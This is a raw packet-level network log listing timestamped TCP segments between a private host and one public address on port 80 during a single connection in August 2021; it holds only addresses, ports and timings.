Aug 24, 2021 14:01:43.827560902 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.827563047 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.827579021 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.827596903 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.827599049 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.827615976 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.827634096 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.827637911 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.827658892 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.827677011 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.827694893 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.827697039 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.827722073 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.828161001 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.828181982 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.828201056 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.828218937 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.828233004 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.828274012 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.828377962 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.828406096 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.828433990 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.828444958 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.828453064 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.828474998 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.828480959 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.828499079 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.828531027 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.828541994 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.828574896 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.828583002 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.828598976 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.828629971 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.828639030 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.828650951 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.828670025 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.828689098 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.828690052 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.828707933 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.828726053 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.828732967 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.828746080 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.828763962 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.828766108 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.828784943 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.828804016 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.828804970 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.828823090 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.828840971 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.828860044 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.828860044 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.828902960 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.829250097 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.829297066 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.829315901 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.829333067 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.829369068 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.829372883 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.829404116 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.829441071 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.829444885 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.829472065 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.829504013 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.829514027 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.829525948 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.829549074 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.829556942 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.829571962 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.829596996 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.829619884 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.829622984 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.829642057 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.829663992 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.829664946 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.829689026 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.829709053 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.829710960 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.829734087 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.829756021 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.829777956 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.829781055 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.829804897 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.829823971 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.829826117 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.829848051 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.830218077 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.830241919 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.830264091 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.830281019 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.830322027 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.830355883 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.830379009 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.830451012 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.830459118 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.830482006 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.830503941 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.830529928 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.830543041 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.830576897 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.830581903 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.830609083 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.830647945 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.830678940 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.830682993 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.830725908 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.830733061 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.830759048 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.830780983 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.830800056 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.830802917 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.830825090 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.830842972 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.830851078 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.830872059 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.830893040 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.830899954 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.830915928 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.830925941 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.830936909 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.830959082 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.830976963 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.830982924 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.831003904 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.831047058 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.831513882 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.831554890 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.831574917 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.831595898 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.831603050 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.831631899 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.831656933 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.831661940 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.831682920 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.831693888 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.831703901 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.831732035 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.831733942 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.831756115 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.831773996 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.831777096 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.831792116 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.831809998 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.831882954 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.831912994 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.831934929 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.831957102 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.831981897 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.832005024 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.832026005 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.832045078 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.832056999 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.832062960 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.832081079 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.832108021 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.832330942 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.832370043 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.832401037 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.832545996 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.832595110 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.832613945 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.832623959 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.832638025 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.832659960 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.832664967 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.832688093 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.832709074 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.832710981 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.832732916 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.832748890 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.832752943 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.832775116 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.832792044 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.832798004 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.832820892 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.832839012 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.832854986 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.832871914 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.832886934 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.832901955 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.832904100 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.832923889 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.832946062 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.832952023 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.832993984 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.833297014 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.833333969 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.833376884 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.833408117 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.833435059 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.833444118 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.833466053 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.833477020 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.833513021 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.833538055 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.833545923 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.833576918 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.833597898 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.833597898 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.833617926 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.833642006 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.833642960 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.833663940 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.833684921 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.833688021 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.833709955 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.833733082 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.833740950 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.833759069 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.833766937 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.833780050 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.833812952 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.833832979 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.833841085 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.833856106 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.833877087 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.833878994 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.833900928 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.833966970 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.834070921 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.834095001 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.834122896 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.834153891 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.834208965 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.834209919 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.834327936 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.834361076 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.834383011 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.834384918 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.834418058 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.834422112 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.834444046 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.834466934 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.834489107 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.834511042 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.834511995 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.834532976 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.834553003 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.834553957 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.834578037 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.834598064 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.834599972 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.834625959 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.834630013 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.834651947 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.834672928 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.834696054 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.834696054 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.834719896 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.834743977 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.834745884 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.834765911 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.834784985 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.834793091 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.834811926 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.834836006 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.834858894 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.835263014 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.835300922 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.835340977 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.835366964 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.835376978 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.835390091 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.835411072 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.835416079 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.835453033 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.835475922 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.835486889 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.835520983 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.835525036 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.835544109 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.835593939 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.835597038 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.835642099 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.835676908 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.835685968 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.835711956 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.835735083 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.835757971 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.835776091 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.835781097 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.835800886 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.835802078 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.835825920 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.835844040 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.835846901 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.835870981 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.835892916 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.835895061 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.835922956 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.835941076 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.835946083 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.835968971 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.835985899 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.835994005 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.836031914 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.836133957 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.836194038 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.836234093 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.836276054 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.836560011 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.836582899 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.836605072 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.836631060 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.836632013 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.836708069 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.836740017 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.836765051 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.836786985 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.836790085 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.836812019 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.836833954 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.836836100 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.836855888 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.836869001 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.836879015 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.836901903 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.836924076 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.836942911 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.836946011 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.836966991 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.836980104 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.836992979 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.837012053 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.837016106 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.837038040 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.837054014 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.837059021 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.837080956 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.837096930 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.837102890 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.837125063 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.837146997 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.837155104 CEST	49724	80	192.168.2.3	172.67.216.236
